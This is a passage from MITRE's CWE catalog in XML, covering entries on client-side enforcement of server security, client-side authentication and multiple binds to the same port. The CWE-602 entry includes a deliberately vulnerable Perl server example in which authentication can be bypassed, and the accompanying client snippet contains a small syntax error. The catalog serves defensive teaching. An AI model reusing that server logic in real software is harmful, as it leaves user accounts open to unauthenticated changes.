					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unsafe URL
						Redirection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">URL Redirection to Untrusted
						Site</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">URL Redirection to Untrusted
						Site (aka 'Open Redirect')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="602" Name="Client-Side Enforcement of Server-Side Security" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software is composed of a server that relies on the client
					to implement a mechanism that is intended to protect the
					server.</Description_Summary>
				        <Extended_Description>
					          <Text>When the server relies on protection mechanisms placed on the client side,
						an attacker can modify the client-side behavior to bypass the protection
						mechanisms resulting in potentially unexpected interactions between the
						client and server. The consequences will vary, depending on what the
						mechanisms are trying to protect.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>471</Relationship_Target_ID>
					          <!--Modification of Assumed-Immutable Data (MAID)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>300</Relationship_Target_ID>
					          <!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Client-Server" Prevalence="Sometimes"/>
				        </Architectural_Paradigms>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>Consider a product that consists of two or more processes or nodes that
						must interact closely, such as a client/server model. If the product uses
						protection schemes in the client in order to defend from attacks against the
						server, and the server does not use the same schemes, then an attacker could
						modify the client in a way that bypasses those schemes. This is a
						fundamental design flaw that is primary to many weaknesses.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Client-side validation checks can be easily bypassed, allowing
							malformed or unexpected input to pass into the application, potentially
							as trusted data. This may lead to unexpected states, behaviors and
							possibly a resulting crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Client-side checks for authentication can be easily bypassed, allowing
							clients to escalate their access levels and perform unintended
							actions.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side. Attackers can
							bypass the client-side checks by modifying values after the checks have
							been performed, or by changing the client to remove the client-side
							checks entirely. Then, these modified values would be submitted to the
							server.</Text>
						            <Text>Even though client-side checks provide minimal benefits with respect
							to server-side security, they are still useful. First, they can support
							intrusion detection. If the server receives input that should have been
							rejected by the client, then it may be an indication of an attack.
							Second, client-side error-checking can provide helpful feedback to the
							user about the expectations for valid input. Third, there may be a
							reduction in server-side processing time for accidental input errors,
							although this is typically a small savings.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If some degree of trust is required between the two entities, then use
							integrity checking and strong authentication to ensure that the inputs
							are coming from a trusted source. Design the product so that this trust
							is managed in a centralized fashion, especially if there are complex or
							numerous communication channels, in order to reduce the risks that the
							implementer will mistakenly omit a check in a single code path.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example contains client-side code that checks if the user
						authenticated successfully before sending a command. The server-side code
						performs the authentication in one step, and executes the command in a
						separate step.</Intro_Text>
					          <Example_Body>
						            <Text>CLIENT-SIDE (client.pl)</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$server = "server.example.com";</Code>
							              <Code>$username = AskForUserName();</Code>
							              <Code>$password = AskForPassword();</Code>
							              <Code>$address = AskForAddress();</Code>
							              <Code>$sock = OpenSocket($server, 1234);</Code>
							              <Code>writeSocket($sock, "AUTH $username $password\n");</Code>
							              <Code>$resp = readSocket($sock);</Code>
							              <Code>if ($resp eq "success") {</Code>
							              <Block>
								                <Comment># username/pass is valid, go ahead and update the
									info!</Comment>
								                <Code>writeSocket($sock, "CHANGE-ADDRESS $username
									$address\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else {</Code>
							              <Block>
								                <Code>print "ERROR: Invalid Authentication!\n";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>SERVER-SIDE (server.pl):</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>$sock = acceptSocket(1234);</Code>
							              <Code>($cmd, $args) = ParseClientRequest($sock);</Code>
							              <Code>if ($cmd eq "AUTH") {</Code>
							              <Block>
								                <Code>($username, $pass) = split(/\s+/, $args, 2);</Code>
								                <Code>$result = AuthenticateUser($username, $pass);</Code>
								                <Code>writeSocket($sock, "$result\n");</Code>
								                <Comment># does not close the socket on failure; assumes
									the</Comment>
								                <Comment># user will try again</Comment>
							              </Block>
							              <Code>}</Code>
							              <Code>elsif ($cmd eq "CHANGE-ADDRESS") {</Code>
							              <Block>
								                <Code>if (validateAddress($args)) {</Code>
								                <Block>
									                  <Code>$res = UpdateDatabaseRecord($username, "address",
										$args);</Code>
									                  <Code>writeSocket($sock, "SUCCESS\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>writeSocket($sock, "FAILURE -- address is
										malformed\n");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The server accepts 2 commands, "AUTH" which authenticates the user,
							and "CHANGE-ADDRESS" which updates the address field for the username.
							The client performs the authentication and only sends a CHANGE-ADDRESS
							for that user if the authentication succeeds. Because the client has
							already performed the authentication, the server assumes that the
							username in the CHANGE-ADDRESS is the same as the authenticated user. An
							attacker could modify the client by removing the code that sends the
							"AUTH" command and simply executing the CHANGE-ADDRESS.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6994</Observed_Example_Reference>
					          <Observed_Example_Description>ASP program allows upload of .asp files by
						bypassing client-side checks.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6994</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0163</Observed_Example_Reference>
					          <Observed_Example_Description>steganography products embed password information
						in the carrier file, which can be extracted from a modified
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0164</Observed_Example_Reference>
					          <Observed_Example_Description>steganography products embed password information
						in the carrier file, which can be extracted from a modified
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0100</Observed_Example_Reference>
					          <Observed_Example_Description>client allows server to modify client's
						configuration and overwrite arbitrary files.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Server-side enforcement of client-side security is conceptually likely to
						occur, but some architectures might have these strong dependencies as part
						of legitimate behavior, such as thin clients.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 23, "Client-Side Security Is an Oxymoron" Page
						687</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>122</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>162</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>202</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>207</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>208</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>383</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>384</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>385</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>386</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>387</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>388</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>389</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Description,
						Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes,
						Potential_Mitigations, Relationships, Research_Gaps,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Client-Side Enforcement of
						Server-Side Security</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Client-Side Enforcement of Server-Side Security</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="603" Name="Use of Client-Side Authentication" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A client/server product performs authentication within client
					code but not in server code, allowing server-side authentication to be bypassed
					via a modified client that omits the authentication check.</Description_Summary>
				        <Extended_Description>
					          <Text>Client-side authentication is extremely weak and may be breached easily.
						Any attacker may read the source code and reverse-engineer the
						authentication mechanism to access parts of the application which would
						otherwise be protected.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>602</Relationship_Target_ID>
					          <!--Client-Side Enforcement of Server-Side Security-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>300</Relationship_Target_ID>
					          <!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Note that there is a close relationship between this weakness and CWE-656
						(Reliance on Security through Obscurity). If developers do not believe that
						a user can reverse engineer a client, then they are more likely to choose
						client-side authentication in the belief that it is safe.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not rely on client side data. Always perform server side
							authentication.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-0230</Observed_Example_Reference>
					          <Observed_Example_Description>Client-side check for a password allows access to
						a server using crafted XML requests from a modified
						client.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0230</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Untrustworthy Credentials", Page
						37.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Observed_Example,
						Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Maintenance_Notes,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Client-Side
						Authentication</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="605" Name="Multiple Binds to the Same Port" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>When multiple sockets are allowed to bind to the same port,
					other services on that port may be stolen or spoofed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>675</Relationship_Target_ID>
					          <!--Duplicate Operations on Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>666</Relationship_Target_ID>
					          <!--Operation on Resource in Wrong Phase of Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>On most systems, a combination of setting the SO_REUSEADDR socket option,
						and a call to bind() allows any process to bind to a port to which a
						previous process has bound width INADDR_ANY. This allows a user to bind to
						the specific address of a server bound to INADDR_ANY on an unprivileged
						port, and steal its udp packets/tcp connection.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Packets from a variety of network services may be stolen or the
							services spoofed.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Policy</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Restrict server socket address to known local addresses.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code binds a server socket to port 21, allowing the server to
						listen for traffic on that port.</Intro_Text>
					          <Example_Body>
						            <Block>
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void bind_socket(void) {</Code>
							              <Block>
								                <Code/>
								                <Code>int server_sockfd;</Code>
								                <Code>int server_len;</Code>
								                <Code>struct sockaddr_in server_address;</Code>
